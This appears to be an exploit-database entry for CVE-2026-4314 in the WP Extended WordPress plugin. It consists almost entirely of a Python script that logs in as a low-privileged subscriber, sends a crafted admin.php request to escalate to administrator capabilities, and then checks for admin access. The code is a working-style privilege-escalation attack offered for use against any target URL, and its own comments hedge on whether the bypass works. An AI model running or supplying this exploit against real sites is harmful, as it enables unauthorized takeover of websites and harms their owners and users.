CVE-2026-4314 WP Extended插件权限提升漏洞

# Exploit Title: WP Extended < 3.2.4 - Privilege Escalation (Subscriber to Admin) # Date: 2026-03-22 # Exploit Author: Analyst # Vendor Homepage: https://wpextended.com/ # Software Link: https://wordpress.org/plugins/wpextended/ # Version: <= 3.2.4 # CVE: CVE-2026-4314 import requests import sys def exploit(target_url, username, password): session = requests.Session() # 1. Login as a low-privileged user (Subscriber) login_endpoint = target_url + "/wp-login.php" login_data = { "log": username, "pwd": password, "redirect_to": target_url + "/wp-admin/", "wp-submit": "Log In", "testcookie": "1" } print("[*] Logging in as user: %s" % username) session.post(login_endpoint, data=login_data) # 2. Send crafted request to trigger privilege escalation # The vulnerability relies on 'strpos' checking REQUEST_URI. # Appending a keyword like 'profile' or 'dashboard' usually triggers the flaw. # Example: /wp-admin/admin.php?page=wpextended_settings&view=profile exploit_url = target_url + "/wp-admin/admin.php" params = { "page": "wpextended-menu", # Arbitrary page "action": "profile" # This parameter likely bypasses the strpos check } print("[*] Sending crafted payload to trigger grantVirtualCaps()...") response = session.get(exploit_url, params=params) if response.status_code == 200: print("[+] Request sent. Check if manage_options capability is granted.") # 3. Verify privileges by attempting to access options.php (admin only) options_check = session.get(target_url + "/wp-admin/options.php") if "options-general.php" in options_check.text: print("[+] SUCCESS! Privilege Escalation confirmed.") print("[+] You now have Administrator capabilities.") else: print("[-] Exploit failed or privileges not elevated.") else: print("[-] Target unreachable or error occurred.") if __name__ == "__main__": if len(sys.argv) != 4: print("Usage: python exploit.py <target_url> <username> <password>") sys.exit(1) exploit(sys.argv[1], sys.argv[2], sys.argv[3])